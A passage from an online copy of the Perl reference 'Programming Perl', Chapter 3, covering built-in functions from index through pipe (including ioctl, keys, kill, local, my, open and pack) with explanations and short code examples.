This function returns the position of the first occurrence of SUBSTR in STR. The POSITION, if specified, says where to start looking. Positions are based at 0 (or whatever you've set the $[ variable to - but don't do that). If the substring is not found, the function returns one less than the base, ordinarily -1. To work your way through a string, you might say:

$pos = -1;
while (($pos = index($string, $lookfor, $pos)) > -1) {
    print "Found at $pos\n";
    $pos++;
}

Previous: 3.2.74 import | Programming Perl | Next: 3.2.76 int
3.2.74 import | Book Index | 3.2.76 int


[Chapter 3] 3.2.76 int

Programming PerlSearch this book

3.2.76 int

int EXPR

This function returns the integer portion of EXPR. If EXPR is omitted, it uses $_. If you're a C programmer, you'll often forget to use int in conjunction with division, which is a floating-point operation in Perl:

$average_age = 939/16;      # yields 58.6875 (58 in C)
$average_age = int 939/16;  # yields 58

Previous: 3.2.75 index | Programming Perl | Next: 3.2.77 ioctl
3.2.75 index | Book Index | 3.2.77 ioctl


[Chapter 3] 3.2.77 ioctl

Programming PerlSearch this book

3.2.77 ioctl

ioctl FILEHANDLE, FUNCTION, SCALAR

This function implements the ioctl(2) system call. You'll probably have to say:

require "ioctl.ph";
    # probably /usr/local/lib/perl/ioctl.ph

first to get the correct function definitions. If ioctl.ph doesn't exist or doesn't have the correct definitions you'll have to roll your own, based on your C header files such as <sys/ioctl.h>. (The Perl distribution includes a script called h2ph to help you do this, but it's non-trivial.) SCALAR will be read and/or written depending on the FUNCTION - a pointer to the string value of SCALAR will be passed as the third argument of the actual ioctl(2) call. (If SCALAR has no string value but does have a numeric value, that value will be passed directly rather than a pointer to the string value.) The pack and unpack functions are useful for manipulating the values of structures used by ioctl. The following example sets the erase character to DEL on many UNIX systems (see the POSIX module in Chapter 7 for a slightly more portable interface):

require 'ioctl.ph';
$getp = &TIOCGETP or die "NO TIOCGETP";
$sgttyb_t = "ccccs";            # 4 chars and a short
if (ioctl STDIN, $getp, $sgttyb) {
    @ary = unpack $sgttyb_t, $sgttyb;
    $ary[2] = 127;
    $sgttyb = pack $sgttyb_t, @ary;
    ioctl STDIN, &TIOCSETP, $sgttyb
        or die "Can't ioctl TIOCSETP: $!";
}

The return value of ioctl (and fcntl) is as follows:

System call returns | Perl returns
-1 | undefined value
0 | string "0 but true"
anything else | that number

Thus Perl returns true on success and false on failure, yet you can still easily determine the actual value returned by the operating system:

$retval = ioctl(...) or $retval = -1;
printf "System returned %d\n", $retval;

Calls to ioctl should not be considered portable. If, say, you're merely turning off echo once for the whole script, it's much more portable (and not much slower) to say:

system "stty -echo";   # Works on most UNIX boxen.

Just because you can do something in Perl doesn't mean you ought to. To quote the Apostle Paul, "Everything is permissible - but not everything is beneficial."

Previous: 3.2.76 int | Programming Perl | Next: 3.2.78 join
3.2.76 int | Book Index | 3.2.78 join


[Chapter 3] 3.2.78 join

Programming PerlSearch this book

3.2.78 join

join EXPR, LIST

This function joins the separate strings of LIST into a single string with fields separated by the value of EXPR, and returns the string. For example:

$_ = join ':', $login,$passwd,$uid,$gid,$gcos,$home,$shell;

To do the opposite, see split. To join things together into fixed-position fields, see pack.

The most efficient way to concatenate many strings together is to join them with a null string.

Previous: 3.2.77 ioctl | Programming Perl | Next: 3.2.79 keys
3.2.77 ioctl | Book Index | 3.2.79 keys


[Chapter 3] 3.2.79 keys

Programming PerlSearch this book

3.2.79 keys

keys HASH

This function returns a list consisting of all the keys of the named hash. The keys are returned in an apparently random order, but it is the same order as either the values or each function produces (assuming that the hash has not been modified between calls). Here is yet another way to print your environment:

@keys = keys %ENV;
@values = values %ENV;
while (@keys) {
    print pop(@keys), '=', pop(@values), "\n";
}

or how about sorted by key:

foreach $key (sort keys %ENV) {
    print $key, '=', $ENV{$key}, "\n";
}

To sort a hash by value, you'll need to provide a comparison function. Here's a descending numeric sort of a hash by its values:

foreach $key (sort { $hash{$b} <=> $hash{$a} } keys %hash) {
    printf "%4d %s\n", $hash{$key}, $key;
}

Note that using keys on a hash bound to a largish DBM file will produce a largish list, causing you to have a largish process. You might prefer to use the each function in this case, which will iterate over the hash entries one-by-one without slurping them all into a single gargantuan list.

In scalar context, keys returns the number of elements of the hash (and resets the each iterator). However, to get this information for tied hashes, including DBM files, Perl must still walk the entire hash, so it's not very efficient in that case.

Previous: 3.2.78 join | Programming Perl | Next: 3.2.80 kill
3.2.78 join | Book Index | 3.2.80 kill


[Chapter 3] 3.2.80 kill

Programming PerlSearch this book

3.2.80 kill

kill LIST

This function sends a signal to a list of processes. The first element of the list must be the signal to send. You may use a signal name in quotes (without a SIG on the front). The function returns the number of processes successfully signaled. If the signal is negative, the function kills process groups instead of processes. (On System V, a negative process number will also kill process groups, but that's not portable.) Examples:

$cnt = kill 1, $child1, $child2;
kill 9, @goners;
kill 'STOP', getppid;  # Can *so* suspend my login shell...

Previous: 3.2.79 keys | Programming Perl | Next: 3.2.81 last
3.2.79 keys | Book Index | 3.2.81 last


[Chapter 3] 3.2.81 last

Programming PerlSearch this book

3.2.81 last

last LABEL
last

The last command is like the break statement in C (as used in loops); it immediately exits the loop in question. If the LABEL is omitted, the command refers to the innermost enclosing loop. The continue block, if any, is not executed.

LINE: while (<STDIN>) {
    last LINE if /^$/; # exit when done with header
    # rest of loop here
}

Previous: 3.2.80 kill | Programming Perl | Next: 3.2.82 lc
3.2.80 kill | Book Index | 3.2.82 lc


[Chapter 3] 3.2.82 lc

Programming PerlSearch this book

3.2.82 lc

lc EXPR

This function returns a lowercased version of EXPR (or $_ if omitted). This is the internal function implementing the \L escape in double-quoted strings. POSIX setlocale(3) settings are respected.

Previous: 3.2.81 last | Programming Perl | Next: 3.2.83 lcfirst
3.2.81 last | Book Index | 3.2.83 lcfirst


[Chapter 3] 3.2.83 lcfirst

Programming PerlSearch this book

3.2.83 lcfirst

lcfirst EXPR

This function returns a version of EXPR (or $_ if omitted) with the first character lowercased. This is the internal function implementing the \l escape in double-quoted strings. POSIX setlocale(3) settings are respected.

Previous: 3.2.82 lc | Programming Perl | Next: 3.2.84 length
3.2.82 lc | Book Index | 3.2.84 length


[Chapter 3] 3.2.84 length

Programming PerlSearch this book

3.2.84 length

length EXPR

This function returns the length in bytes of the scalar value EXPR. If EXPR is omitted, the function returns the length of $_, but be careful that the next thing doesn't look like the start of an EXPR, or the tokener will get confused. When in doubt, always put in parentheses.

Do not try to use length to find the size of an array or hash. Use scalar @array for the size of an array, and scalar keys %hash for the size of a hash. (The scalar is typically dropped when redundant, which is typical.)

Previous: 3.2.83 lcfirst | Programming Perl | Next: 3.2.85 link
3.2.83 lcfirst | Book Index | 3.2.85 link


[Chapter 3] 3.2.85 link

Programming PerlSearch this book

3.2.85 link

link OLDFILE, NEWFILE

This function creates a new filename linked to the old filename. The function returns 1 for success, 0 otherwise (and puts the error code into $!). See also symlink later in this chapter. This function is unlikely to be implemented on non-UNIX systems.

Previous: 3.2.84 length | Programming Perl | Next: 3.2.86 listen
3.2.84 length | Book Index | 3.2.86 listen


[Chapter 3] 3.2.86 listen

Programming PerlSearch this book

3.2.86 listen

listen SOCKET, QUEUESIZE

This function does the same thing as the listen(2) system call. It tells the system that you're going to be accepting connections on this socket and that the system can queue the number of waiting connections specified by QUEUESIZE. Imagine having call-waiting on your phone, with up to five callers queued. (Gives me the willies!) The function returns true if it succeeded, false otherwise (and puts the error code into $!). See the section "Sockets" in Chapter 6.

Previous: 3.2.85 link | Programming Perl | Next: 3.2.87 local
3.2.85 link | Book Index | 3.2.87 local


[Chapter 3] 3.2.87 local

Programming PerlSearch this book

3.2.87 local

local EXPR

This operator declares one or more global variables to have locally scoped values within the innermost enclosing block, subroutine, eval, or file. If more than one variable is listed, the list must be placed in parentheses, because the operator binds more tightly than comma. All the listed variables must be legal lvalues, that is, something you could assign to. This operator works by saving the current values of those variables on a hidden stack and restoring them upon exiting the block, subroutine, or eval, or file. After the local is executed, but before the scope is exited, any called subroutines will see the local, inner value, not the previous, outer value, because the variable is still a global variable, despite having a localized value. The technical term for this is "dynamic scoping".

The EXPR may be assigned to if desired, which allows you to initialize your local variables. (If no initializer is given, all scalars are initialized to the undefined value and all arrays and hashes to empty.) Commonly, this is used to name the formal arguments to a subroutine. As with ordinary assignment, if you use parentheses around the variables on the left (or if the variable is an array or hash), the expression on the right is evaluated in list context. Otherwise the expression on the right is evaluated in scalar context.

Here is a routine that executes some random piece of code that depends on $i running through a range of numbers. Note that the scope of $i propagates into the eval code.

&RANGEVAL(20, 30, '$foo[$i] = $i');

sub RANGEVAL {
    local($min, $max, $thunk) = @_;
    local $result = "";
    local $i;

    # Presumably $thunk makes reference to $i

    for ($i = $min; $i < $max; $i++) {
        $result .= eval $thunk;
    }

    $result;
}

This code demonstrates how to make a temporary modification to a global array:

if ($sw eq '-v') {
    # init local array with global array
    local @ARGV = @ARGV;
    unshift @ARGV, 'echo';
    system @ARGV;
}
# @ARGV restored

You can also temporarily modify hashes:

# temporarily add a couple of entries to the %digits hash
if ($base12) {
    # (NOTE: not claiming this is efficient!)
    local(%digits) = (%digits, T => 10, E => 11);
    parse_num();
}

But you probably want to be using my instead, because local isn't really what most people think of as local. See the section on my later.

Previous: 3.2.86 listen | Programming Perl | Next: 3.2.88 localtime
3.2.86 listen | Book Index | 3.2.88 localtime


[Chapter 3] 3.2.88 localtime

Programming PerlSearch this book

3.2.88 localtime

localtime EXPR

This function converts the value returned by time to a nine-element list with the time corrected for the local time zone. It's typically used as follows:

($sec,$min,$hour,$mday,$mon,$year,$wday,$yday,$isdst) =
        localtime(time);

All list elements are numeric, and come straight out of a struct tm. (That's a bit of C programming lingo - don't worry about it.) In particular this means that $mon has the range 0..11, $wday has the range 0..6, and the year has had 1,900 subtracted from it. (You can remember which ones are 0-based because those are the ones you're always using as subscripts into 0-based arrays containing month and day names.) If EXPR is omitted, it does localtime(time). For example, to get the name of the current day of the week:

$thisday = (Sun,Mon,Tue,Wed,Thu,Fri,Sat)[(localtime)[6]];

The Perl library module Time::Local contains a subroutine, timelocal(), that can convert in the opposite direction.

In scalar context, localtime returns a ctime(3)-like string based on the localtime value. For example, the date command can be emulated with:

perl -e 'print scalar localtime'

See also POSIX::strftime() in Chapter 7 for a more fine-grained approach to formatting times.

Previous: 3.2.87 local | Programming Perl | Next: 3.2.89 log
3.2.87 local | Book Index | 3.2.89 log


[Chapter 3] 3.2.89 log

Programming PerlSearch this book

3.2.89 log

log EXPR

This function returns logarithm (base e) of EXPR. If EXPR is omitted, the function returns the logarithm of $_.

Previous: 3.2.88 localtime | Programming Perl | Next: 3.2.90 lstat
3.2.88 localtime | Book Index | 3.2.90 lstat


[Chapter 3] 3.2.90 lstat

Programming PerlSearch this book

3.2.90 lstat

lstat EXPR

This function does the same thing as the stat function, but if the last component of the filename is a symbolic link, stats a symbolic link instead of the file the symbolic link points to. (If symbolic links are unimplemented on your system, a normal stat is done instead.)

Previous: 3.2.89 log | Programming Perl | Next: 3.2.91 map
3.2.89 log | Book Index | 3.2.91 map


[Chapter 3] 3.2.91 map

Programming PerlSearch this book

3.2.91 map

map BLOCK LIST
map EXPR, LIST

This function evaluates the BLOCK or EXPR for each element of LIST (locally setting $_ to each element) and returns the list value composed of the results of each such evaluation. It evaluates BLOCK or EXPR in a list context, so each element of LIST may produce zero, one, or more elements in the returned value. These are all flattened into one list. For instance:

@words = map { split ' ' } @lines;

splits a list of lines into a list of words. Often, though, there is a one-to-one mapping between input values and output values:

@chars = map chr, @nums;

translates a list of numbers to the corresponding characters. And here's an example of a one-to-two mapping:

%hash = map { genkey($_), $_ } @array;

which is just a funny functional way to write this:

%hash = ();
foreach $_ (@array) {
    $hash{genkey($_)} = $_;
}

See also grep. map differs from grep in that map returns a list consisting of the results of each successive evaluation of EXPR, whereas grep returns a list consisting of each value of LIST for which EXPR evaluates to true.

Previous: 3.2.90 lstat | Programming Perl | Next: 3.2.92 mkdir
3.2.90 lstat | Book Index | 3.2.92 mkdir


[Chapter 3] 3.2.92 mkdir

Programming PerlSearch this book

3.2.92 mkdir

mkdir FILENAME, MODE

This function creates the directory specified by FILENAME, with permissions specified by the numeric MODE (as modified by the current umask). If it succeeds it returns 1, otherwise it returns 0 and sets $! (from the value of errno).

If mkdir(2) is not built in to your C library, Perl emulates it by calling the mkdir(1) program. If you are creating a long list of directories on such a system it will be more efficient to call the mkdir program yourself with the list of directories to avoid starting zillions of subprocesses.

Previous: 3.2.91 map | Programming Perl | Next: 3.2.93 msgctl
3.2.91 map | Book Index | 3.2.93 msgctl


[Chapter 3] 3.2.93 msgctl

Programming PerlSearch this book

3.2.93 msgctl

msgctl ID, CMD, ARG

This function calls the msgctl(2) system call. See msgctl(2) for details. If CMD is &IPC_STAT, then ARG must be a variable that will hold the returned msqid_ds structure. The return value works like ioctl's: the undefined value for error, "0 but true" for zero, or the actual return value otherwise. On error, it puts the error code into $!. Before calling, you should say:

require "ipc.ph";
require "msg.ph";

This function is available only on machines supporting System V IPC, which turns out to be far fewer than those supporting sockets.

Previous: 3.2.92 mkdir | Programming Perl | Next: 3.2.94 msgget
3.2.92 mkdir | Book Index | 3.2.94 msgget


[Chapter 3] 3.2.94 msgget

Programming PerlSearch this book

3.2.94 msgget

msgget KEY, FLAGS

This function calls the System V IPC msgget(2) system call. See msgget(2) for details. The function returns the message queue ID, or the undefined value if there is an error. On error, it puts the error code into $!. Before calling, you should say:

require "ipc.ph";
require "msg.ph";

This function is available only on machines supporting System V IPC.

Previous: 3.2.93 msgctl | Programming Perl | Next: 3.2.95 msgrcv
3.2.93 msgctl | Book Index | 3.2.95 msgrcv


[Chapter 3] 3.2.95 msgrcv

Programming PerlSearch this book

3.2.95 msgrcv

msgrcv ID, VAR, SIZE, TYPE, FLAGS

This function calls the msgrcv(2) system call to receive a message from message queue ID into variable VAR with a maximum message size of SIZE. See msgrcv(2) for details. When a message is received, the message type will be the first thing in VAR, and the maximum length of VAR is SIZE plus the size of the message type. The function returns true if successful, or false if there is an error. On error, it puts the error code into $!. Before calling, you should say:

require "ipc.ph";
require "msg.ph";

This function is available only on machines supporting System V IPC.

Previous: 3.2.94 msgget | Programming Perl | Next: 3.2.96 msgsnd
3.2.94 msgget | Book Index | 3.2.96 msgsnd


[Chapter 3] 3.2.96 msgsnd

Programming PerlSearch this book

3.2.96 msgsnd

msgsnd ID, MSG, FLAGS

This function calls the msgsnd(2) system call to send the message MSG to the message queue ID. See msgsnd(2) for details. MSG must begin with the long integer message type. You can create a message like this:

$msg = pack "L a*", $type, $text_of_message;

The function returns true if successful, or false if there is an error. On error, it puts the error code into $!. Before calling, you should say:

require "ipc.ph";
require "msg.ph";

This function is available only on machines supporting System V IPC.

Previous: 3.2.95 msgrcv | Programming Perl | Next: 3.2.97 my
3.2.95 msgrcv | Book Index | 3.2.97 my


[Chapter 3] 3.2.97 my

Programming PerlSearch this book

3.2.97 my

my EXPR

This operator declares one or more private variables to exist only within the innermost enclosing block, subroutine, eval, or file. If more than one variable is listed, the list must be placed in parentheses, because the operator binds more tightly than comma. Only simple scalars or complete arrays and hashes may be declared this way. The variable name may not be package qualified, because package variables are all global, and private variables are not related to any package. Unlike local, this operator has nothing to do with global variables, other than hiding any other variable of the same name from view within its scope. (A global variable can always be accessed through its package-qualified form, however.) A private variable is not visible until the statement after its declaration. Subroutines called from within the scope of such a private variable cannot see the private variable unless the subroutine is also textually declared within the scope of the variable. The technical term for this is "lexical scoping", so we often call these "lexical variables". In C culture they're called "auto" variables, since they're automatically allocated and deallocated at scope entry and exit.

The EXPR may be assigned to if desired, which allows you to initialize your lexical variables. (If no initializer is given, all scalars are initialized to the undefined value and all arrays and hashes to empty arrays.) As with ordinary assignment, if you use parentheses around the variables on the left (or if the variable is an array or hash), the expression on the right is evaluated in list context. Otherwise the expression on the right is evaluated in scalar context. You can name your formal subroutine parameters with a list assignment, like this:

my ($friends, $romans, $countrymen) = @_;

Be careful not to omit the parentheses indicating list assignment, like this:

my $country = @_;  # right or wrong?

This assigns the length of the array (that is, the number of the subroutine's arguments) to the variable, since the array is being evaluated in scalar context. You can profitably use scalar assignment for a formal parameter though, as long as you use the shift operator. In fact, since object methods are passed the object as the first argument, many such method subroutines start off like this:

sub simple_as {
    my $self = shift;   # scalar assignment
    my ($a,$b,$c) = @_; # list assignment
    ...
}

Previous: 3.2.96 msgsnd | Programming Perl | Next: 3.2.98 new
3.2.96 msgsnd | Book Index | 3.2.98 new


[Chapter 3] 3.2.98 new

Programming PerlSearch this book

3.2.98 new

new CLASSNAME LIST
new CLASSNAME

There is no built-in new function. It is merely an ordinary constructor method (subroutine) defined (or inherited) by the CLASSNAME module to let you construct objects of type CLASSNAME. Most constructors are named "new", but only by convention, just to delude C++ programmers into thinking they know what's going on.

Previous: 3.2.97 my | Programming Perl | Next: 3.2.99 next
3.2.97 my | Book Index | 3.2.99 next


[Chapter 3] 3.2.99 next

Programming PerlSearch this book

3.2.99 next

next LABEL
next

The next command is like the continue statement in C: it starts the next iteration of the loop designated by LABEL:

LINE: while (<STDIN>) {
    next LINE if /^#/;     # discard comments
    ...
}

Note that if there were a continue block in this example, it would execute immediately following the invocation of next. When LABEL is omitted, the command refers to the innermost enclosing loop.

Previous: 3.2.98 new | Programming Perl | Next: 3.2.100 no
3.2.98 new | Book Index | 3.2.100 no


[Chapter 3] 3.2.100 no

Programming PerlSearch this book

3.2.100 no

no Module LIST

See the use operator, which no is the opposite of, kind of.

Previous: 3.2.99 next | Programming Perl | Next: 3.2.101 oct
3.2.99 next | Book Index | 3.2.101 oct


[Chapter 3] 3.2.101 oct

Programming PerlSearch this book

3.2.101 oct

oct EXPR

This function interprets EXPR as an octal string and returns the equivalent decimal value. (If EXPR happens to start off with 0x, it is interpreted as a hex string instead.) The following will handle decimal, octal, and hex in the standard notation:

$val = oct $val if $val =~ /^0/;

If EXPR is omitted, the function interprets $_. To perform the inverse function on octal numbers, use:

$oct_string = sprintf "%lo", $number;

Previous: 3.2.100 no | Programming Perl | Next: 3.2.102 open
3.2.100 no | Book Index | 3.2.102 open


[Chapter 3] 3.2.102 open

Programming PerlSearch this book

3.2.102 open

open FILEHANDLE, EXPR
open FILEHANDLE

This function opens the file whose filename is given by EXPR, and associates it with FILEHANDLE. If EXPR is omitted, the scalar variable of the same name as the FILEHANDLE must contain the filename. (And you must also be careful to use "or die" after the statement rather than "|| die", because the precedence of || is higher than list operators like open.) FILEHANDLE may be a directly specified filehandle name, or an expression whose value will be used for the filehandle. The latter is called an indirect filehandle. If you supply an undefined variable for the indirect filehandle, Perl will not automatically fill it in for you - you have to make sure the expression returns something unique, either a string specifying the actual filehandle name, or a filehandle object from one of the object-oriented I/O packages. (A filehandle object is unique because you call a constructor to generate the object. See the example later in this section.)

After the filehandle is determined, the filename string is processed. First, any leading and trailing whitespace is removed from the string. Then the string is examined on both ends for characters specifying how the file is to be opened. (By an amazing coincidence, these characters look just like the characters you'd use to indicate I/O redirection to the Bourne shell.) If the filename begins with < or nothing, the file is opened for input. If the filename begins with >, the file is truncated and opened for output. If the filename begins with >>, the file is opened for appending. (You can also put a + in front of the > or < to indicate that you want both read and write access to the file.) If the filename begins with |, the filename is interpreted as a command to which output is to be piped, and if the filename ends with a |, the filename is interpreted as command which pipes input to us. You may not have an open command that pipes both in and out, although the IPC::Open2 and IPC::Open3 library routines give you a close equivalent. See the section "Bidirectional Communication" in Chapter 6.

Any pipe command containing shell metacharacters is passed to /bin/sh for execution; otherwise it is executed directly by Perl. The filename "-" refers to STDIN, and ">-" refers to STDOUT. open returns non-zero upon success, the undefined value otherwise. If the open involved a pipe, the return value happens to be the process ID of the subprocess.

If you're unfortunate enough to be running Perl on a system that distinguishes between text files and binary files (modern operating systems don't care), then you should check out binmode for tips for dealing with this. The key distinction between systems that need binmode and those that don't is their text file formats. Systems like UNIX and Plan9 that delimit lines with a single character, and that encode that character in C as '\n', do not need binmode. The rest need it.

Here is some code that shows the relatedness of a filehandle and a variable of the same name:

$ARTICLE = "/usr/spool/news/comp/lang/perl/misc/38245";
open ARTICLE or die "Can't find article $ARTICLE: $!\n";
while (<ARTICLE>) {...

Append to a file like this:

open LOG, '>>/usr/spool/news/twitlog'; # (`log' is reserved)

Pipe your data from a process:

open ARTICLE, "caesar <$article |";   # decrypt article with rot13

Here < does not indicate that Perl should open the file for input, because < is not the first character of EXPR. Rather, the concluding | indicates that input is to be piped from caesar <$article (from the program caesar, which takes $article as its standard input). The < is interpreted by the subshell that Perl uses to start the pipe, because < is a shell metacharacter.

Or pipe your data to a process:

open EXTRACT, "|sort >/tmp/Tmp$$";    # $$ is our process number

In this next example we show one way to do recursive opens, via indirect filehandles. The files will be opened on filehandles fh01, fh02, fh03, and so on. Because $input is a local variable, it is preserved through recursion, allowing us to close the correct file before we return.

# Process argument list of files along with any includes.

foreach $file (@ARGV) {
    process($file, 'fh00');
}

sub process {
    local($filename, $input) = @_;
    $input++;               # this is a string increment
    unless (open $input, $filename) {
        print STDERR "Can't open $filename: $!\n";
        return;
    }
    while (<$input>) {      # note the use of indirection
        if (/^#include "(.*)"/) {
            process($1, $input);
            next;
        }
        ...               # whatever
    }
    close $input;
}

You may also, in the Bourne shell tradition, specify an EXPR beginning with >&, in which case the rest of the string is interpreted as the name of a filehandle (or file descriptor, if numeric) which is to be duped and opened.[6] You may use & after >, >>, <, +>, +>>, and +<. The mode you specify should match the mode of the original filehandle. Here is a script that saves, redirects, and restores STDOUT and STDERR:

[6] The word "dup" is UNIX-speak for "duplicate". We're not really trying to dupe you. Trust us.

#!/usr/bin/perl
open SAVEOUT, ">&STDOUT";
open SAVEERR, ">&STDERR";

open STDOUT, ">foo.out" or die "Can't redirect stdout";
open STDERR, ">&STDOUT" or die "Can't dup stdout";

select STDERR; $| = 1;         # make unbuffered
select STDOUT; $| = 1;         # make unbuffered

print STDOUT "stdout 1\n";     # this propagates to
print STDERR "stderr 1\n";     # subprocesses too

close STDOUT;
close STDERR;

open STDOUT, ">&SAVEOUT";
open STDERR, ">&SAVEERR";

print STDOUT "stdout 2\n";
print STDERR "stderr 2\n";

If you specify <&=N, where N is a number, then Perl will do an equivalent of C's fdopen(3) of that file descriptor; this is more parsimonious with file descriptors than the dup form described earlier. (On the other hand, it's more dangerous, since two filehandles may now be sharing the same file descriptor, and a close on one filehandle may prematurely close the other.) For example:

open FILEHANDLE, "<&=$fd";

If you open a pipe to or from the command "-" (that is, either |- or -|), then an implicit fork is done, and the return value of open is the pid of the child within the parent process, and 0 within the child process. (Use defined($pid) in either the parent or child to determine whether the open was successful.) The filehandle behaves normally for the parent, but input and output to that filehandle is piped from or to the STDOUT or STDIN of the child process. In the child process the filehandle isn't opened - I/O happens from or to the new STDIN or STDOUT. Typically this is used like the normal piped open when you want to exercise more control over just how the pipe command gets executed, such as when you are running setuid, and don't want to have to scan shell commands for metacharacters. The following pairs are equivalent:

open FOO, "|tr '[a-z]' '[A-Z]'";
open FOO, "|-" or exec 'tr', '[a-z]', '[A-Z]';

open FOO, "cat -n file|";
open FOO, "-|" or exec 'cat', '-n', 'file';

Explicitly closing any piped filehandle causes the parent process to wait for the child to finish, and returns the status value in $?. On any operation which may do a fork, unflushed buffers remain unflushed in both processes, which means you may need to set $| on one or more filehandles to avoid duplicate output (and then do output to flush them).

Filehandles STDIN, STDOUT, and STDERR remain open following an exec. Other filehandles do not. (However, on systems supporting the fcntl function, you may modify the close-on-exec flag for a filehandle. See fcntl earlier in this chapter. See also the special $^F variable.)

Using the constructor from the FileHandle module, described in Chapter 7, you can generate anonymous filehandles which have the scope of whatever variables hold references to them, and automatically close whenever and however you leave that scope:

use FileHandle;
...
sub read_myfile_munged {
    my $ALL = shift;
    my $handle = new FileHandle;
    open $handle, "myfile" or die "myfile: $!";
    $first = <$handle> or return ();      # Automatically closed here.
    mung $first or die "mung failed";     # Or here.
    return $first, <$handle> if $ALL;     # Or here.
    $first;                               # Or here.
}

In order to open a file with arbitrary weird characters in it, it's necessary to protect any leading and trailing whitespace, like this:

$file =~ s#^(\s)#./$1#;
open (FOO, "< $file\0");

But we've never actually seen anyone use that in a script...

If you want a real C open(2), then you should use the sysopen function. This is another way to protect your filenames from interpretation. For example:

use FileHandle;
sysopen HANDLE, $path, O_RDWR|O_CREAT|O_EXCL, 0700
    or die "sysopen $path: $!";
HANDLE->autoflush(1);
HANDLE->print("stuff $$\n");
seek HANDLE, 0, 0;
print "File contains: ", <HANDLE>;

See seek for some details about mixing reading and writing.

Previous: 3.2.101 oct | Programming Perl | Next: 3.2.103 opendir
3.2.101 oct | Book Index | 3.2.103 opendir


[Chapter 3] 3.2.103 opendir

Programming PerlSearch this book

3.2.103 opendir

opendir DIRHANDLE, EXPR

This function opens a directory named EXPR for processing by readdir, telldir, seekdir, rewinddir, and closedir. The function returns true if successful. Directory handles have their own namespace separate from filehandles.

Previous: 3.2.102 open | Programming Perl | Next: 3.2.104 ord
3.2.102 open | Book Index | 3.2.104 ord


[Chapter 3] 3.2.104 ord

Programming PerlSearch this book

3.2.104 ord

ord EXPR

This function returns the numeric ASCII value of the first character of EXPR. If EXPR is omitted, it uses $_. The return value is always unsigned. If you want a signed value, use unpack('c', EXPR). If you want all the characters of the string converted to a list of numbers, use unpack('C*', EXPR) instead.

Previous: 3.2.103 opendir | Programming Perl | Next: 3.2.105 pack
3.2.103 opendir | Book Index | 3.2.105 pack


[Chapter 3] 3.2.105 pack

Programming PerlSearch this book

3.2.105 pack

pack TEMPLATE, LIST

This function takes a list of values and packs it into a binary structure, returning the string containing the structure. The TEMPLATE is a sequence of characters that gives the order and type of values, as follows:

Character | Meaning
a | An ASCII string, will be null padded
A | An ASCII string, will be space padded
b | A bit string, low-to-high order (like vec())
B | A bit string, high-to-low order
c | A signed char value
C | An unsigned char value
d | A double-precision float in the native format
f | A single-precision float in the native format
h | A hexadecimal string, low nybble first
H | A hexadecimal string, high nybble first
i | A signed integer value
I | An unsigned integer value
l | A signed long value
L | An unsigned long value (continued)
n | A short in "network" (big-endian) order
N | A long in "network" (big-endian) order
p | A pointer to a string
P | A pointer to a structure (fixed-length string)
s | A signed short value
S | An unsigned short value
v | A short in "VAX" (little-endian) order
V | A long in "VAX" (little-endian) order
u | A uuencoded string
x | A null byte
X | Back up a byte
@ | Null-fill to absolute position

Each character may optionally be followed by a number which gives a repeat count. Together the character and the repeat count make a field specifier. Field specifiers may be separated by whitespace, which will be ignored. With all types except "a" and "A", the pack function will gobble up that many values from the LIST. Saying "*" for the repeat count means to use however many items are left. The "a" and "A" types gobble just one value, but pack it as a string of length count, padding with nulls or spaces as necessary. (When unpacking, "A" strips trailing spaces and nulls, but "a" does not.) Real numbers (floats and doubles) are in the native machine format only; due to the multiplicity of floating formats around, and the lack of a standard network representation, no facility for interchange has been made. This means that packed floating-point data written on one machine may not be readable on another - even if both use IEEE floating-point arithmetic (as the endian-ness of the memory representation is not part of the IEEE spec). Also, Perl uses doubles internally for all numeric calculation, and converting from double to float to double will lose precision; that is, unpack("f", pack("f",$num)) will not in general equal $num.

This first pair of examples packs numeric values into bytes:

$out = pack "cccc", 65, 66, 67, 68;      # $out eq "ABCD"
$out = pack "c4", 65, 66, 67, 68;        # same thing

This does a similar thing, with a couple of nulls thrown in:

$out = pack "ccxxcc", 65, 66, 67, 68;    # $out eq "AB\0\0CD"

Packing your shorts doesn't imply that you're portable:

$out = pack "s2", 1, 2;    # "\1\0\2\0" on little-endian
                           # "\0\1\0\2" on big-endian

On binary and hex packs, the count refers to the number of bits or nybbles, not the number of bytes produced:

$out = pack "B32", "01010000011001010111001001101100";
$out = pack "H8", "5065726c";    # both produce "Perl"

The length on an "a" field applies only to one string:

$out = pack "a4", "abcd", "x", "y", "z";      # "abcd"

To get around that limitation, use multiple specifiers:

$out = pack "aaaa",  "abcd", "x", "y", "z";   # "axyz"
$out = pack "a" x 4, "abcd", "x", "y", "z";   # "axyz"

The "a" format does null filling:

$out = pack "a14", "abcdefg";   # "abcdefg\0\0\0\0\0\0\0"

This template packs a C struct tm record (at least on some systems):

$out = pack "i9pl", gmtime, $tz, $toff;

The same template may generally also be used in the unpack function. If you want to join variable length fields with a delimiter, use the join function.

Note that, although all of our examples use literal strings as templates, there is no reason you couldn't pull in your templates from a disk file. You could, in fact, build an entire relational database system around this function.

Previous: 3.2.104 ord | Programming Perl | Next: 3.2.106 package
3.2.104 ord | Book Index | 3.2.106 package


[Chapter 3] 3.2.106 package

Programming PerlSearch this book

3.2.106 package

package NAMESPACE

This is not really a function, but a declaration that says that the rest of the innermost enclosing block, subroutine, eval or file belongs to the indicated namespace. (The scope of a package declaration is thus the same as the scope of a local or my declaration.) All subsequent references to unqualified global identifiers will be resolved by looking them up in the declared package's symbol table. A package declaration affects only global variables - including those you've used local on - but not lexical variables created with my.

Typically you would put a package declaration as the first thing in a file that is to be included by the require or use operator, but you can put one anywhere that a statement would be legal. When defining a class or a module file, it is customary to name the package the same name as the file, to avoid confusion. (It's also customary to name such packages beginning with a capital letter, because lowercase modules are by convention interpreted as pragmas.)

You can switch into a given package in more than one place; it merely influences which symbol table is used by the compiler for the rest of that block. (If it sees another package declaration at the same level, the new one overrides the previous one.) Your main program is assumed to start with a package main declaration.

You can refer to variables and filehandles in other packages by qualifying the identifier with the package name and a double colon: $Package::Variable. If the package name is null, the main package as assumed. That is, $::sail is equivalent to $main::sail.

The symbol table for a package is stored in a hash with a name ending in a double colon. The main package's symbol table is named %main:: for example. So the package symbol *main::sail can also be accessed as $main::{"sail"}.

See "Packages" in Chapter 5, for more information about packages, modules, and classes. See my in Chapter 3, Functions, for other scoping issues.

Previous: 3.2.105 pack | Programming Perl | Next: 3.2.107 pipe
3.2.105 pack | Book Index | 3.2.107 pipe


[Chapter 3] 3.2.107 pipe

Programming PerlSearch this book

3.2.107 pipe

pipe READHANDLE, WRITEHANDLE

